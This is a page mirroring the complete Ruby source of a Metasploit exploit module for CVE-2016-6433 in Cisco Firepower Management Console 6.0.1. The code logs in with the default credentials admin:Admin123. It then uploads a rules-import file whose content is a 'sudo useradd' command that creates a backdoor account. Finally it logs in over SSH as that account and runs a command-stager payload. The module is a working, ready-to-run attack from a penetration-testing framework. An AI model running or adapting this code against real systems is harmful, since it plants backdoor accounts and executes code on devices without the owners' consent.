Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cisco_firepower_useradd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::SSH1112def initialize(info={})13super(update_info(info,14'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",15'Description' => %q{16This module exploits a vulnerability found in Cisco Firepower Management Console.17The management system contains a configuration flaw that allows the www user to18execute the useradd binary, which can be abused to create backdoor accounts.19Authentication is required to exploit this vulnerability.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Matt', # Original discovery & PoC25'sinn3r' # Metasploit module26],27'References' =>28[29[ 'CVE', '2016-6433' ],30[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]31],32'Platform' => 'linux',33'Arch' => ARCH_X86,34'Targets' =>35[36[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]37],38'Privileged' => false,39'DisclosureDate' => '2016-10-10',40'CmdStagerFlavor'=> %w{ echo },41'DefaultOptions' =>42{43'SSL' => 'true',44'SSLVersion' => 'Auto',45'RPORT' => 44346},47'DefaultTarget' => 0))4849register_options(50[51# admin:Admin123 is the default credential for 6.0.152OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),53OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),54OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),55OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),56OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),57OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])58])59end6061def check62# For this exploit to work, we need to check two services:63# * HTTP - To create the backdoor account for SSH64# * SSH - To execute our payload6566vprint_status('Checking Cisco Firepower Management console...')67res = send_request_cgi({68'method' => 'GET',69'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')70})7172if res && res.code == 20073vprint_status("Console is found.")74vprint_status("Checking SSH service.")75begin76opts = ssh_client_defaults.merge({77port: datastore['SSHPORT'],78password: Rex::Text.rand_text_alpha(5),79auth_methods: ['password']80})81::Timeout.timeout(datastore['SSH_TIMEOUT']) do82Net::SSH.start(rhost, 'admin', opts)83end84rescue Timeout::Error85vprint_error('The SSH connection timed out.')86return Exploit::CheckCode::Unknown87rescue Net::SSH::AuthenticationFailed88# Hey, it talked. So that means SSH is running.89return Exploit::CheckCode::Appears90rescue Net::SSH::Exception => e91vprint_error(e.message)92end93end9495Exploit::CheckCode::Safe96end9798def get_sf_action_id(sid)99requirements = {}100101print_status('Attempting to obtain sf_action_id from rulesimport.cgi')102103uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')104res = send_request_cgi({105'method' => 'GET',106'uri' => uri,107'cookie' => "CGISESSID=#{sid}"108})109110unless res111fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')112end113114sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]115116unless sf_action_id117fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')118end119120sf_action_id121end122123def create_ssh_backdoor(sid, user, pass)124uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')125sf_action_id = get_sf_action_id(sid)126sh_name = 'exploit.sh'127128print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")129130mime_data = Rex::MIME::Message.new131mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')132mime_data.add_part('file', nil, nil, 'form-data; name="source"')133mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')134mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')135mime_data.add_part(136"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",137'application/octet-stream',138nil,139"form-data; name=\"file\"; filename=\"#{sh_name}\""140)141142send_request_cgi({143'method' => 'POST',144'uri' => uri,145'cookie' => "CGISESSID=#{sid}",146'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",147'data' => mime_data.to_s,148'vars_get' => { 'no_mojo' => '1' },149})150end151152def generate_new_username153datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)154end155156def generate_new_password157datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)158end159160def do_login161console_user = datastore['USERNAME']162console_pass = datastore['PASSWORD']163uri = normalize_uri(target_uri.path, 'login.cgi')164165print_status("Attempting to login in as #{console_user}:#{console_pass}")166167res = send_request_cgi({168'method' => 'POST',169'uri' => uri,170'vars_post' => {171'username' => console_user,172'password' => console_pass,173'target' => ''174}175})176177unless res178fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')179end180181res_cookie = res.get_cookies182if res.code == 302 && res_cookie.include?('CGISESSID')183cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first184print_status("CGI Session ID: #{cgi_sid}")185print_good("Authenticated as #{console_user}:#{console_pass}")186store_valid_credential(user: console_user, private: console_pass) # changes service_name to http || https187return cgi_sid188end189190nil191end192193def execute_command(cmd, opts = {})194@first_exec = true195cmd.gsub!(/\/tmp/, '/usr/tmp')196197# Weird hack for the cmd stager.198# Because it keeps using > to write the payload.199if @first_exec200@first_exec = false201else202cmd.gsub!(/>>/, ' > ')203end204205begin206Timeout.timeout(3) do207@ssh_socket.exec!("#{cmd}\n")208vprint_status("Executing #{cmd}")209end210rescue Timeout::Error211fail_with(Failure::Unknown, 'SSH command timed out')212rescue Net::SSH::ChannelOpenFailed213print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')214retry215end216end217218def init_ssh_session(user, pass)219print_status("Attempting to log into SSH as #{user}:#{pass}")220221factory = ssh_socket_factory222opts = {223auth_methods: ['password', 'keyboard-interactive'],224port: datastore['SSHPORT'],225use_agent: false,226config: false,227password: pass,228proxy: factory,229non_interactive: true230}231232opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']233234begin235ssh = nil236::Timeout.timeout(datastore['SSH_TIMEOUT']) do237@ssh_socket = Net::SSH.start(rhost, user, opts)238end239rescue Net::SSH::Exception => e240fail_with(Failure::Unknown, e.message)241end242end243244def exploit245# To exploit the useradd vuln, we need to login first.246sid = do_login247return unless sid248249# After login, we can call the useradd utility to create a backdoor user250new_user = generate_new_username251new_pass = generate_new_password252create_ssh_backdoor(sid, new_user, new_pass)253254# Log into the SSH backdoor account255init_ssh_session(new_user, new_pass)256257begin258execute_cmdstager({:linemax => 500})259ensure260@ssh_socket.close261end262end263end264265266